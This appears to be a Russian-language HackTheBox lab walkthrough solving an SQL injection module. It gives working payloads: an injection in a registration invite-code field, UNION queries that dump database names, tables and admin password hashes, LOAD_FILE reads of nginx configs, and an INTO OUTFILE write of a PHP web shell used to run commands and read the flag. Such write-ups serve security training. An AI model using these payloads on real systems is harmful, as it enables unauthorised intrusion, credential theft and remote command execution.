Вдруг кому-то понадобится.
В конце модуля дается веб-приложение со страницей логина и регистрации нового акк.
Какие бы payload для обхода аутентификации я не пробовал в поле ввода логина, оно не работает. После долгих поисков, решил проверить регистрацию, там меня смущала одна вещь - invite code, который нужно было ввести, чтобы создать акк. Естественно получить его не откуда, но в итоге SQLi скрывался в нем.
Payload в repeater Burp:
username=test&password=qwerty123%21&repeatPassword=qwerty123%21&invitationCode=aaaa-bbbb-1234 ' or '1'='1
В ответ увидим, что акк создан:
Location: /login.php?s=account+created+successfully!
Заходим на страницу, там можно выбрать conversation и поле search будет уязвимо. Тут уже подойдут (почти) payload-ы из изученной темы (UNION based SQLi).
Список баз:
admin') UNION select 1, 2, database(),4 from INFORMATION_SCHEMA.SCHEMATA #
Видим нужную нам
chattr.Получаем список таблиц:
admin') UNION select 1,2, TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.TABLES where table_schema='chattr'
В первом задание сказано, получить хеш пароля admin, выведем все:
admin') UNION select 1, 2, username, password from chattr.Users #
Далее нас просят ввести корневую директорию сервера. Есть подсказка, нужно читать конфиг веб-сервера. Через БД мы это можем сделать вот так:
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/nginx.conf" ), 4 -- -
Далее посмотрим стандартный default в sites-enabled:
admin') UNION SELECT 1 , 2 , LOAD_FILE ( "/etc/nginx/sites-enabled/default" ), 4 -- -
Последнее задание прочитать флаг. Сделаем php shell через доступную нам запись в файл из БД.
admin') UNION SELECT "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile '/var/www/chattr-prod/shell.php'-- -
Доступные привилегии кстати можно посмотреть так:
admin ') UNION SELECT 1, 2, privilege_type, grantee FROM information_schema.user_privileges-- -
Далее открываем
shell.php?0=id, должен вернуться вывод команды id. Значит шелл работает. Смотрим, что у нас в корне/shell.php?0=ls%20/`
Там будет флаг. Читаем его:
/shell.php?0=cat%20/<flag_file_name>.txt
#htb